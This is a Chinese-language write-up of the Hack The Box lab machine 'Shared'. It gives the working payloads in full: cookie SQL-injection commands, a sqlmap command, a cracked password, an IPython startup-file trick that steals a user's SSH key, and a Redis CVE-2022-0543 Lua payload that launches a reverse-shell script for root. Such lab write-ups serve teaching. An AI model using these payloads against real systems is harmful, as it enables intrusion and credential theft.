[HTB] Shared Writeup
2023-12-26 09:2:17 Author: 一个人的安全笔记(查看原文) 阅读量:5 收藏

# 概述 (Overview)

HOST: 10.10.11.172

OS: Linux

发布时间: 2022-07-23

完成时间: 2022-07-29

机器作者: Nauten

困难程度: Medium

机器状态: Retired

MACHINE TAGS: #SQLi #CommandInjection #Redis

# 攻击链 (Kiillchain)

HTB 关于 Shared

Shared 是一个 Medium 难度的 Linux 机器,其特点是通过一个 Cookie SQL 注入可以得到一个立足点,然后通过逆向分析 Golang 二进制文件并利用两个 CVE 获得 root shell 来升级权限。

# 枚举(Enumeration)

使用 Nmap 工具对目标服务器暴漏端口进行枚举。

PORT    STATE SERVICE
22/tcp open ssh
| ssh-hostkey:
| 3072 91:e8:35:f4:69:5f:c2:e2:0e:27:46:e2:a6:b6:d8:65 (RSA)
| 256 cf:fc:c4:5d:84:fb:58:0b:be:2d:ad:35:40:9d:c3:51 (ECDSA)
|_ 256 a3:38:6d:75:09:64:ed:70:cf:17:49:9a:dc:12:6d:11 (ED25519)
80/tcp open http
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://shared.htb
443/tcp open https
| http-cisco-anyconnect:
|_ ERROR: Failed to connect to SSL VPN server
| tls-nextprotoneg:
| h2
|_ http/1.1
| tls-alpn:
| h2
|_ http/1.1
| ssl-cert: Subject: commonName=*.shared.htb/organizationName=HTB/stateOrProvinceName=None/countryName=US
| Issuer: commonName=*.shared.htb/organizationName=HTB/stateOrProvinceName=None/countryName=US
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-03-20T13:37:14
| Not valid after: 2042-03-15T13:37:14
| MD5: fb0b 4ab4 9ee7 d95d ae43 239a fca4 c59e
|_SHA-1: 6ccd a103 5d29 a441 0aa2 0e32 79c4 83e1 750a d0a0
|_http-title: Did not follow redirect to https://shared.htb
|_ssl-date: TLS randomness does not represent time
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS

从结果中得到服务器的 Web 应用域名为 shared.htb,对外暴漏的端口也很少。

Port 443 - shared.htb

先将域名加入 hosts 文件,使用浏览器访问能看到一个购物站。


简单浏览下功能, 能在购物车页面下发现新的二级域名 checkout.shared.htb


# 立足点(Foothold)

将二级域名加入 hosts 文件,浏览器访问能看到账单卡支付页面。


通过观察页面发送的交互请求,发现数据是存储在 Cookie 中进行跨域名传递的。开启 burp 抓取请求包进行参数漏洞枚举,简单测试后发现存在 SQL 注入漏洞。

正常 Cookie 请求,页面数值显示正常


修改 Cookie 请求内容,页面数值显示错误


修改 Cookie 请求内容,通过 SQL 注入语句验证查询


接下来就简单了,构建 SQL 查询 Payload 获取数据库中 user 表中的数据。

http -v https://checkout.shared.htb/ Cookie:"custom_cart={\"53GG2EF8' order by 3 -- \":\"2\"}" --verify=false

http -v https://checkout.shared.htb/ Cookie:"custom_cart={\"' union select 1,2,3 -- \":\"2\"}" --verify=false

http -v https://checkout.shared.htb/ Cookie:"custom_cart={\"' union select 1,(select database()),3 -- \":\"2\"}" --verify=false

http -v https://checkout.shared.htb/ Cookie:"custom_cart={\"' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='checkout'),3 -- \":\"2\"}" --verify=false

http -v https://checkout.shared.htb/ Cookie:"custom_cart={\"' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='user' and table_schema='checkout'),3 -- \":\"2\"}" --verify=false

除了上面的手工注入外,也可以使用 SQLMAP 工具直接跑数据。

sqlmap -u "https://checkout.shared.htb/" --cookie "custom_cart={"*":"1*","*":"1"}" -batch --level=5
...snip...
database: checkout
version: 10.5.15-MariaDB-0+deb11u1
tables: user,product
user.column: id,username,password

james_mason:fc895d4eddc2fc12f995e18c865cf273

// md5明文查询
Soleil101 (james_mason)

成功使用 Soleil101 口令密码成功登录服务器,拿到立足点。


# 横向移动(Lateral Movement)

当前 shell 的 home 目录下并没有 user flag,需要想办法横移到 dan_smith 用户下查看。

james_mason@shared:/home/dan_smith$ ls -lsh
total 4.0K
4.0K -rw-r----- 1 root dan_smith 33 Jul 29 00:36 user.txt

运行 id 命令 发现 dan_smith 用户多了个 developer 组,直接 find 命令全局搜索下发现对 /opt/scripts_review 文件夹有读写权限,但目录中没有内容。

james_mason@shared:/var/www$ find / -group developer 2>/dev/null
/opt/scripts_review
james_mason@shared:/var/www$ ls /opt/scripts_review/
james_mason@shared:/var/www$ ls -la /opt/scripts_review/
total 8
drwxrwx--- 2 root developer 4096 Jul 14 13:46 .
drwxr-xr-x 3 root root 4096 Jul 14 13:46 ..
james_mason@shared:/var/www$

在没有获得更多信息的前提下,将 pspy 工具传递至目标服务器运行监听计划任务,发现 dan_smith 用户会定时 ipython。


查看 github 中的 IPython 描述:IPython(Interactive Python)是一种用于多种编程语言的交互式计算的命令 shell,最初是为 Python 编程语言开发的,它提供内省、富媒体、shell 语法、制表符补全和历史记录等功能。

随后在官方库的 security 中能够找到一个历史漏洞,该漏洞允许一个用户以另一个用户身份运行代码。

https://github.com/ipython/ipython/security/advisories/GHSA-pq7m-3gw7-gq5x

参考 Payload 进行修改,将 dan_smith 用户的 ssh 私钥提取出来。

mkdir -m 777 /opt/scripts_review/profile_default
mkdir -m 777 /opt/scripts_review/profile_default/startup

echo "import os; os.system('cat ~/.ssh/id_rsa > /tmp/rsa')" > /opt/scripts_review/profile_default/startup/foo.py

等待定时任务执行后成功获取私钥,使用该私钥成功完成用户横移。

james_mason@shared:~$ cat /tmp/rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwE...snip...JlZAECAwQFBg==
-----END OPENSSH PRIVATE KEY-----

# 权限提升(Privilege Escalation)

发现 dan_smith 用户有一个 sysadmin 组,继续使用 find 查询全局文件,发现有一个 redis_connector_dev 二进制程序。

dan_smith@shared:/var/www/shared.htb/ps/config$ groups 
dan_smith developer sysadmin
dan_smith@shared:/var/www/shared.htb/ps/config$ find / -group sysadmin 2>/dev/null
/usr/local/bin/redis_connector_dev


简单执行该二进制程序发现输出了 redis info 详情,直接连接是需要口令的 NOAUTH Authentication required。将文件下载到 kali 上进行分析,使用 DiE 查壳能获知是 go amd64 程序,接着使用 IDA 载入后查看发现 Redis 连接密码 F2WHqJUz2WEz=Gqq


根据 Redis 版本查询历史漏洞发现存在 CVE-2022-0543,允许执行 Lua 脚本进行任意代码执行。

https://thesecmaster.com/how-to-fix-cve-2022-0543-a-critical-lua-sandbox-escape-vulnerability-in-redis/

验证下文章中的 Payload 确认漏洞存在。


接着就简单了,直接创建一个反弹 shell 的 bash 脚本赋值执行权,利用 lua 脚本执行成功拿到 root shell。

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("bash /home/dan_smith/shell.sh", "r"); local res = f:read("*a"); f:close(); return res' 0


# 参考


文章来源: http://mp.weixin.qq.com/s?__biz=MzIwOTA4NTg4MA==&mid=2652491323&idx=1&sn=d2e6fb96d85497172cfba4299873a951&chksm=8d3d5c0345676c7932b8b92f1f8c8c3a7be96e75e32ac80c6b16ae8379d34a040c1e0a7948ab&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh